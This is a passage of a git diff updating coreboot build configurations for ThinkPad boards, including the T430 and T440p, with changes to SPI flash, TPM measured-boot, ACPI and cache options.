CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set @@ -428,10 +436,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -442,21 +446,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -473,9 +474,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -486,6 +490,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -520,7 +525,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -541,6 +551,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -586,6 +599,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -601,13 +615,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -632,6 +645,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -645,12 +662,12 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 74d2eb51a..faa9a49b7 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -65,6 +66,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -122,7 +125,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" @@ -134,13 +136,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -151,6 +153,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +254,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +295,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -334,7 +342,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -382,9 +389,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +449,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +459,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +487,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -499,6 +503,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -533,7 +538,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -556,6 +566,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -601,6 +614,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -616,13 +630,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -647,6 +660,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -660,7 +677,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -668,6 +684,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 737119e4c..8b569337f 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -65,6 +66,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="t440p" CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set @@ -133,13 +135,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xff7c0000 CONFIG_DCACHE_RAM_SIZE=0x10000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t440p/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_ENABLE_DDR_2X_REFRESH is not set CONFIG_PCIEXP_AER=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T440p" CONFIG_HAVE_IFD_BIN=y CONFIG_BOARD_LENOVO_THINKPAD_T440P=y @@ -196,9 +202,13 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0036" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -244,12 +254,11 @@ CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_EHCI_BAR=0xe8000000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 @@ -258,16 +267,16 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -281,7 +290,6 @@ CONFIG_SET_MSR_AESNI_LOCK_BIT=y CONFIG_CPU_INTEL_COMMON_TIMEBASE=y CONFIG_CPU_INTEL_COMMON_VOLTAGE=y CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y CONFIG_PARALLEL_MP=y CONFIG_XAPIC_ONLY=y # CONFIG_X2APIC_ONLY is not set @@ -290,12 +298,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -310,12 +317,12 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y # CONFIG_NORTHBRIDGE_INTEL_HASWELL=y # CONFIG_USE_NATIVE_RAMINIT is not set +# CONFIG_USE_BROADWELL_MRC is not set CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y # # Southbridge # -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_PCIEXP_HOTPLUG is not set CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y @@ -332,7 +339,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y 